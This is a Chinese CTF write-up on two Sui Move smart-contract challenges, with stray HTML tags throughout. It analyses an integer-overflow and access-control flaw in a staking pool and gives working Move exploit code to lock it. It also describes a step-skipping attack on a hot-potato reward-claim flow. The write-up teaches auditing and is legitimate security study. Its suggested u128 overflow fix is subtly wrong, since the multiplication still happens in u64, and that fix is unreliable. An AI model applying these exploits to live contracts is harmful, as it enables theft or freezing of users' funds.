Sui区块链CTF挑战：Deadlock Finance与Hot Potato Finance漏洞分析与利用教学<\/h1>

1 Deadlock Finance挑战<\/h2>

1.1 挑战目标<\/h3>
确保用户无法解除质押资金<\/li>
永久锁定合约，禁止任何形式的提取、撤回或转移操作<\/li>
通过使
is_solved<\/code>函数调用失败来完成挑战<\/li>
<\/ul>
1.2 漏洞分析<\/h3>
1.2.1 关键函数分析<\/h4>
public fun is_solved(challenge: &mut Challenge<COIN>, clock: &Clock, ctx: &mut TxContext) {
    let (min_stake, _) = challenge.pool.get_stake_limits();
    let stake = challenge.coin_supply.increase_supply(min_stake);
    challenge.pool.stake(coin::from_balance(stake, ctx), clock, ctx);
}
<\/code><\/pre>
该函数仅调用get_stake_limits()<\/code>和stake()<\/code>函数，其中：<\/p>

get_stake_limits()<\/code>为只读函数，不会出错<\/li>
stake()<\/code>函数包含可能触发错误的断言<\/li>
<\/ul>
1.2.2 stake函数关键断言<\/h4>
let rewards = calculate_rewards(amount, pool.apr, pool.apr_base, pool.duration);
assert!(rewards <= pool.available_rewards.value());
<\/code><\/pre>
1.2.3 calculate_rewards函数<\/h4>
public fun calculate_rewards(amount: u64, apr: u64, apr_base: u64, duration: u64): u64 {
    if (amount == 0) {
        return 0
    };
    let rewards = (amount * apr) \/ apr_base;
    let rewards = rewards * duration \/ YEAR_IN_SECONDS;
    rewards
}
<\/code><\/pre>
1.3 攻击向量：整数溢出<\/h3>
1.3.1 溢出条件<\/h4>

初始available_reward<\/code>为1000<\/li>
需要使rewards > 1000<\/code>触发断言失败<\/li>
通过修改apr<\/code>和duration<\/code>实现溢出<\/li>
<\/ul>
1.3.2 利率限制检查<\/h4>
const MAX_APR_PERCENTAGE: u64 = 1000;

fun check_apr(apr: u64, decimals: u8) {
    assert!(decimals >= MIN_APR_DECIMALS && decimals <= MAX_APR_DECIMALS);
    let apr_percentage = ((apr as u128) * 100u128 \/ 10u128.pow(decimals)) as u64;
    assert!(apr_percentage >= MIN_APR_PERCENTAGE && apr_percentage <= MAX_APR_PERCENTAGE);
}
<\/code><\/pre>
1.3.3 溢出计算<\/h4>

amount<\/code> = 200 (min_stake)<\/li>
设置apr<\/code> = 10¹⁸，apr_base<\/code> = 10¹⁸<\/li>
amount * apr<\/code> = 200 × 10¹⁸ = 2 × 10²⁰<\/li>
u64最大值：1.844 × 10¹⁹<\/li>
计算结果溢出，导致交易回滚<\/li>
<\/ul>
1.4 攻击实施<\/h3>
1.4.1 利用AdminCap漏洞<\/h4>
public fun create<T>(
    apr: u64,
    apr_decimals: u8,
    duration: u64,
    cooldown: u64,
    min_stake: u64,
    max_stake: u64,
    rewards: Coin<T>,
    ctx: &mut TxContext,
): (Pool<T>, AdminCap) {
    \/\/ 任何人都可调用此public函数创建AdminCap
}
<\/code><\/pre>
1.4.2 攻击代码（EXP）<\/h4>
module the_solution::solution;

use challenge::challenge::Challenge;
use challenge::staking;
use challenge::coin::COIN;

const NEW_APR_DECIMALS: u8 = 18;

#[allow(lint(self_transfer))]
public fun solve(challenge: &mut Challenge<COIN>, ctx: &mut TxContext) {
    let coins = challenge.claim_coin(ctx);
    let pool = challenge.get_pool();
    
    \/\/ 创建新的Pool和AdminCap
    let (pool2, admin_cap) = staking::create<COIN>(
        1000, 3, 90 * 24 * 60 * 60, 24 * 60 * 60, 200, 1_000_000, coins, ctx
    );
    
    \/\/ 设置高精度APR导致溢出
    pool.update_apr(&admin_cap, (10u128.pow(18)) as u64, NEW_APR_DECIMALS);
    
    transfer::public_transfer(admin_cap, ctx.sender());
    transfer::public_transfer(pool2, ctx.sender());
}
<\/code><\/pre>
1.5 漏洞修复方案<\/h3>
1.5.1 根本修复：修改函数可见性<\/h4>
\/\/ 将public改为非公开
fun create<T>(
    apr: u64,
    apr_decimals: u8,
    duration: u64,
    cooldown: u64,
    min_stake: u64,
    max_stake: u64,
    rewards: Coin<T>,
    ctx: &mut TxContext,
): (Pool<T>, AdminCap) {
    \/\/ 函数实现
}
<\/code><\/pre>
1.5.2 辅助修复：防止整数溢出<\/h4>
public fun calculate_rewards(amount: u64, apr: u64, apr_base: u64, duration: u64): u64 {
    if (amount == 0) {
        return 0
    };
    \/\/ 使用u128防止溢出
    let rewards = ( (amount * apr) as u128 \/ apr_base as u128 ) as u64;
    let rewards = rewards * duration \/ YEAR_IN_SECONDS;
    rewards
}
<\/code><\/pre>
2 Hot Potato Finance挑战<\/h2>
2.1 挑战目标<\/h3>

通过调用claim_complete()<\/code>从池中索取超过2000个奖励<\/li>
完全依赖索取功能将奖励直接存入钱包<\/li>
<\/ul>
2.2 漏洞分析<\/h3>
2.2.1 关键机制<\/h4>

claim_start()<\/code>: 开始提取存款和奖励<\/li>
claim_step()<\/code>: 计算其他用户的存款<\/li>
claim_complete()<\/code>: 发放存款和奖励<\/li>
<\/ul>
2.2.2 奖励计算<\/h4>
奖励计算基于存款占比：<\/p>
let user_evaluation = get_evaluation(user_deposit);
let total_evaluation = get_total_evaluation();
let rewards_amount = (user_evaluation * pool.rewards.value()) \/ total_evaluation;
<\/code><\/pre>
2.2.3 漏洞利用点<\/h4>

claim_start()<\/code>记录当前用户数量到HotPotato<\/li>
claim_complete()<\/code>要求处理total_deposits - 1<\/code>个用户<\/li>
可通过插入低份额用户绕过对高份额用户的处理<\/li>
<\/ol>
2.3 攻击实施<\/h3>
2.3.1 攻击步骤<\/h4>

调用deposit_for()<\/code>存入reward_coin<\/code><\/li>
由于oracle中无reward_coin<\/code>价格，评估值为0<\/li>
调用claim_start()<\/code>开始索赔流程<\/li>
插入低份额用户<\/li>
调用claim_step()<\/code>处理低份额用户<\/li>
调用claim_complete()<\/code>获取全部奖励<\/li>
<\/ol>
2.3.2 关键漏洞<\/h4>

存款时未正确验证pool.stage == Stage::Depositing<\/code><\/li>
reward_coin<\/code>评估值为0，但计入存款占比计算<\/li>
<\/ul>
2.4 修复方案<\/h3>
2.4.1 方案一：加强状态验证<\/h4>
public fun deposit_for(pool: &mut Pool, user: address, deposit: Coin) {
    assert!(pool.stage == Stage::Depositing); \/\/ 添加状态验证
    \/\/ 函数实现
}
<\/code><\/pre>
2.4.2 方案二：完善HotPotato设计<\/h4>
struct ClaimingPotato {
    id: UID,
    pool_id: ID,
    processed_users: VecSet<address>,
    expected_users: VecSet<address>, \/\/ 添加预期用户记录
}
<\/code><\/pre>
在claim_start<\/code>时记录当前用户快照：<\/p>
public fun claim_start(pool: &mut Pool, ctx: &mut TxContext): ClaimingPotato {
    \/\/ 记录当前所有用户
    let expected_users = vec_set::from_iter(table::keys(&pool.users));
    
    ClaimingPotato {
        id: object::new(ctx),
        pool_id: object::id(pool),
        processed_users: vec_set::empty(),
        expected_users,
    }
}
<\/code><\/pre>
在claim_step<\/code>中验证用户合法性：<\/p>
public fun claim_step(potato: &mut ClaimingPotato, pool: &mut Pool, user: address) {
    assert!(vec_set::contains(&potato.expected_users, user)); \/\/ 验证用户合法性
    \/\/ 函数实现
}
<\/code><\/pre>
3 总结<\/h2>
3.1 核心漏洞类型<\/h3>

权限控制漏洞<\/strong>：AdminCap创建函数可见性设置不当<\/li>
整数溢出漏洞<\/strong>：数值计算未考虑边界情况<\/li>
状态验证漏洞<\/strong>：关键操作缺少状态机验证<\/li>
逻辑设计漏洞<\/strong>：业务逻辑设计不严谨<\/li>
<\/ol>
3.2 安全开发建议<\/h3>

严格管理函数可见性，特别是权限相关函数<\/li>
数值计算使用更大数据类型或添加溢出检查<\/li>
实现完整的状态机验证机制<\/li>
关键操作记录完整快照信息<\/li>
进行完整的边界情况测试<\/li>
<\/ol>
3.3 审计要点<\/h3>

检查所有权限管理函数的可见性<\/li>
验证所有数值计算的边界情况<\/li>
审查状态转换的逻辑完整性<\/li>
检查业务逻辑的异常处理机制<\/li>
<\/ol>
通过深入理解这些漏洞类型和修复方案，开发者可以提高Sui智能合约的安全性，防止类似漏洞的发生。<\/p>